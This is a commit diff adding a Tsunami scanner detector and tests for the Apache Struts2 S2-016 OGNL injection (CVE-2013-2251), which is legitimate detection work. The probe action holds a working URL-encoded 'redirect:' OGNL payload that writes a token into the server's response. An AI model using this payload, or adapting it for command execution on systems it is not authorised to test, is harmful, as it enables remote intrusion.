Skip to content

Commit 874d356

Browse files
feat(templated):cve-2013-2251
1 parent 87265df commit 874d356

2 files changed

Lines changed: 153 additions & 0 deletions

File tree

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "ApacheStruts_CVE_2013_2251"
11+
author: "sanjaymahajan14"
12+
version: "1.0"
13+
}
14+
15+
finding: {
16+
main_id: {
17+
publisher: "GOOGLE"
18+
value: "CVE-2013-2251"
19+
}
20+
severity: CRITICAL
21+
title: "Apache Struts2 S2-016 DefaultActionMapper OGNL Injection"
22+
description: "The redirect and redirectAction prefixes allow unauthenticated remote attackers to execute arbitrary OGNL expressions via manipulated URL parameters, leading to system command execution."
23+
recommendation: "Upgrade to Apache Struts 2.3.15.1 or later. Alternatively, implement WAF rules to drop requests containing action:, redirect:, or redirectAction: prefixes combined with OGNL syntax."
24+
related_id: {
25+
publisher: "CVE"
26+
value: "CVE-2013-2251"
27+
}
28+
}
29+
30+
config: {}
31+
32+
###########
33+
# ACTIONS #
34+
###########
35+
36+
actions: {
37+
name: "fingerprint_struts2"
38+
http_request: {
39+
method: GET
40+
uri: "/"
41+
response: {
42+
http_status: 200
43+
expect_any: {
44+
conditions: [
45+
{ body: {} contains: "S2-016 Demo" },
46+
{ body: {} contains: "struts.apache.org" }
47+
]
48+
}
49+
}
50+
}
51+
}
52+
53+
actions: {
54+
name: "probe_s2_016_ognl"
55+
http_request: {
56+
method: POST
57+
uri: "/default.action"
58+
headers: [
59+
{ name: "Content-Type" value: "application/x-www-form-urlencoded" }
60+
]
61+
data: "redirect:%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23resp.setCharacterEncoding%28%27UTF-8%27%29%2C%23ot%3D%23resp.getWriter%28%29%2C%23ot.print%28%27{{tsunami_token}}%27%29%2C%23ot.flush%28%29%2C%23ot.close%28%29%7D=1"
62+
response: {
63+
http_status: 200
64+
expect_all: {
65+
conditions: [
66+
{ body: {} contains: "{{tsunami_token}}" }
67+
]
68+
}
69+
}
70+
}
71+
}
72+
73+
#############
74+
# WORKFLOWS #
75+
#############
76+
77+
workflows: {
78+
variables: [
79+
{ name: "tsunami_token" value: "Tsunami-Struts-S2-016-Exploited-{{to_lower(rand_text_alpha(6))}}" }
80+
]
81+
actions: [
82+
"fingerprint_struts2",
83+
"probe_s2_016_ognl"
84+
]
85+
}
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "ApacheStruts_CVE_2013_2251"
6+
}
7+
8+
########
9+
# TESTS #
10+
########
11+
12+
tests: {
13+
name: "whenVulnerable_returnsTrue"
14+
expect_vulnerability: true
15+
mock_http_server: {
16+
mock_responses: [
17+
{
18+
uri: "/"
19+
status: 200
20+
body_content: "<!DOCTYPE html>\n<html>\n<head><title>S2-016</title></head>\n<body>\n<h2>S2-016 Demo</h2>\n<p>link: <a href=\"https://struts.apache.org/docs/s2-016.html\">https://struts.apache.org/docs/s2-016.html</a></p>\n</body>\n</html>"
21+
},
22+
{
23+
uri: "/default.action"
24+
status: 200
25+
headers: [
26+
{ name: "Content-Type" value: "text/html;charset=UTF-8" }
27+
]
28+
body_content: "{{tsunami_token}}"
29+
}
30+
]
31+
}
32+
}
33+
34+
tests: {
35+
name: "whenNotVulnerable_returnsFalse"
36+
expect_vulnerability: false
37+
mock_http_server: {
38+
mock_responses: [
39+
{
40+
uri: "/"
41+
status: 200
42+
body_content: "<!DOCTYPE html>\n<html>\n<head><title>S2-016</title></head>\n<body>\n<h2>S2-016 Demo</h2>\n<p>link: <a href=\"https://struts.apache.org/docs/s2-016.html\">https://struts.apache.org/docs/s2-016.html</a></p>\n</body>\n</html>"
43+
},
44+
{
45+
uri: "/default.action"
46+
status: 200
47+
headers: [
48+
{ name: "Content-Type" value: "text/html;charset=UTF-8" }
49+
]
50+
body_content: "<!DOCTYPE html>\n<html>\n<body><h2>S2-016 Demo Default Action</h2></body>\n</html>"
51+
}
52+
]
53+
}
54+
}
55+
56+
tests: {
57+
name: "whenNotStruts2_returnsFalse"
58+
expect_vulnerability: false
59+
mock_http_server: {
60+
mock_responses: [
61+
{
62+
uri: "TSUNAMI_MAGIC_ANY_URI"
63+
status: 200
64+
body_content: "<html><body><h1>Welcome to Apache...!</h1></body></html>"
65+
}
66+
]
67+
}
68+
}

0 commit comments

Comments
 (0)